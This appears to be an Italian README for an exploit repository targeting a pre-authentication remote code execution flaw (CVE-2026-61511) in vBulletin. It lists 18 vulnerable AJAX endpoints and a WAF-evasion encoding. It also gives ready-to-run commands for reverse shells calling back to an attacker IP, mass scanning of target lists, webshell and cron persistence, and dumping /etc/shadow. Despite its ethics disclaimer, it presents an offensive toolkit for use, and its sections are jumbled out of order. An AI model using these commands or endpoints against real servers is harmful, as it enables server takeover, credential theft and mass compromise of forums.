CVEPoC

CVE-2026-61511 – Exploit e Verificatore RCE Pre-Auth per vBulletin

⚠️ SOLO USO ETICO – TEST DI SICUREZZA AUTORIZZATI
Questo repository fornisce strumenti esclusivamente per professionisti della sicurezza autorizzati, blue team e penetration tester.
L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), Computer Misuse Act (UK), TCK 243/244 (Turchia) e leggi simili in tutto il mondo.

📖 Panoramica della Vulnerabilità

CVE‑2026‑61511 è una vulnerabilità di iniezione PHP eval() nel motore di rendering dei template AJAX di vBulletin.
Versioni interessate: 5.0.0 – 5.7.5 e 6.0.0 – 6.2.1.

Come funziona

Molteplici endpoint di attacco – il bug esiste in diversi handler AJAX:
- /ajax/render/pagenav
- /ajax/api/ad/replaceAdTemplate
- /ajax/render/widget_php
- /ajax/render/widget_tabbedcontainer_tab_panel
- Vari endpoint /ajax/api/content_* /getIndexableContent
Codifica PHPFuck – il payload viene trasformato in una sequenza di operatori e numeri PHP che bypassa i filtri WAF e consente l'esecuzione di codice PHP arbitrario.
Nessuna autenticazione richiesta – un attaccante può inviare una richiesta POST manipolata a qualsiasi endpoint vulnerabile ed eseguire comandi di sistema con i privilegi del server web.
Impatto – compromissione totale del server, furto di dati, backdoor, movimento laterale e persistenza. Aggiorna la versione!

Patch

vBulletin 6.2.2 e Patch Level 1 per le versioni precedenti risolvono il problema.
Aggiorna sempre all'ultima versione.

🧰 Strumenti

Tool	Scopo	Utente previsto
`exploit.py`	Toolkit completo con reverse shell, persistenza, operazioni sui file, dump del database, gestione del firewall, gestione dei log, inoltro delle porte, distribuzione di chiavi SSH, scansione di rete e scansione di massa (multi-thread).

📊 Confronto delle Funzionalità

🎯 Riepilogo dei Casi d'Uso

⚙️ Installazione

git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt

Contenuto di requirements.txt:

request
urllib3

Parametri 🌬️

Scenari

Pool di Endpoint 🅿️

🛡️ Uso Responsabile

Utilizza questi strumenti solo su sistemi di tua proprietà o per i quali hai esplicito permesso scritto di test.
L'accesso non autorizzato è illegale e non etico.
Gli autori non sono responsabili di qualsiasi uso improprio.
Segui sempre le leggi e le normative del tuo paese.

Questo software è fornito esclusivamente a scopi educativi e test di sicurezza autorizzati.

Rilevamento vulnerabilità	✅	✅
Rilevamento versione	✅	✅
Test multi-endpoint (18 percorsi)	✅	✅
Esecuzione comandi	✅	❌
Reverse shell	✅	❌
Upload/download file	✅	❌
Meccanismi di persistenza	✅	❌
Distribuzione web shell	✅	❌
Operazioni sul database	✅	❌
Raccolta informazioni di sistema	✅	✅
Gestione firewall	✅	❌
Gestione log	✅	❌
Inoltro porte	✅	❌
Distribuzione chiavi SSH	✅	❌
Scansione di rete	✅	❌
Scansione di massa (multi-thread)	✅	❌
Supporto proxy	✅	✅
Output report JSON	✅	✅
Menu interattivo	✅	❌
Modalità non intrusiva (sicura)	❌	✅
Modalità Verbose/Debug	✅	✅
Esecuzione comandi personalizzati	✅	❌
Concatenamento multi-comando	✅	❌
Lettura file remoti	✅	❌
Scrittura file remoti	✅	❌
Gestione utenti di sistema	✅	❌
Tecniche di bypass del firewall	✅	❌
Evasione WAF (PHPFuck)	✅	✅

Blue Team – verifica se la tua installazione vBulletin è vulnerabile	`safecheck.py`
Security Audit – valutazione della vulnerabilità non intrusiva	`safecheck.py`
Red Team – test di penetrazione autorizzati con sfruttamento completo	`exploit.py`
Bug Bounty – test di divulgazione responsabile	`safecheck.py`
Mass Scanning – verifica di più target per la vulnerabilità	`exploit.py` (solo rilevamento)
Incident Response – verifica se i sistemi sono compromessi	`safecheck.py`

`-t, --target`	URL target (es. `http://forum.com/vb`)
`--proxy`	Proxy HTTP (es. `http://127.0.0.1:8080`)
`--timeout`	Timeout delle richieste in secondi (predefinito: 10)
`--retry`	Numero di tentativi per percorso (predefinito: 3)
`--output`	Salva il report dettagliato in un file JSON
`-v, --verbose`	Output verboso
`-q, --quiet`	Modalità silenziosa (output minimo)
`--lhost`	Richiesto per l'exploit – IP per il callback
`--lport`	Porta per il callback (predefinita: 4444)
`--threads`	Thread per la scansione di massa (predefiniti: 5)
`--exploit`	Esegui lo sfruttamento dopo il rilevamento
`--full`	Attacco completo (tutti i moduli)
`--shell`	Avvia una reverse shell
`--webshell`	Installa webshell (`/shell.php`)
`--persist`	Installa persistenza (cron job)
`--dump`	Dump del database
`--dump-creds`	Dump delle credenziali (`/etc/passwd`, `/etc/shadow`)
`--interactive`	Menu interattivo dopo la verifica riuscita

1	Controllo rapido della vulnerabilità	`python safecheck.py -t http://target.com/vb`
2	Scansione dettagliata con report	`python safecheck.py -t http://target.com/vb --output report.json -v`
3	Reverse shell	`python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell`
4	Attacco completo (tutti i moduli)	`python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full`
5	Scansione di massa da file	`python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json`
6	Modalità menu interattivo	`python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive`

1	`/ajax/render/pagenav`
2	`/ajax/render/pagenav?template=page`
3	`/ajax/api/ad/replaceAdTemplate`
4	`/ajax/render/widget_php`
5	`/ajax/render/widget_tabbedcontainer_tab_panel`
6	`/ajax/api/content_infraction/getIndexableContent`
7	`/ajax/api/content_video/getIndexableContent`
8	`/ajax/api/content_text/getIndexableContent`
9	`/ajax/api/content_report/getIndexableContent`
10	`/ajax/api/content_redirect/getIndexableContent`
11	`/ajax/api/content_privatemessage/getIndexableContent`
12	`/ajax/api/content_poll/getIndexableContent`
13	`/ajax/api/content_photo/getIndexableContent`
14	`/ajax/api/content_link/getIndexableContent`
15	`/ajax/api/content_gallery/getIndexableContent`
16	`/ajax/api/content_event/getIndexableContent`
17	`/ajax/api/content_channel/getIndexableContent`
18	`/ajax/api/content_attach/getIndexableContent`

Più Popolari

CVE-2026-61511-PoC-Exploit

Informazioni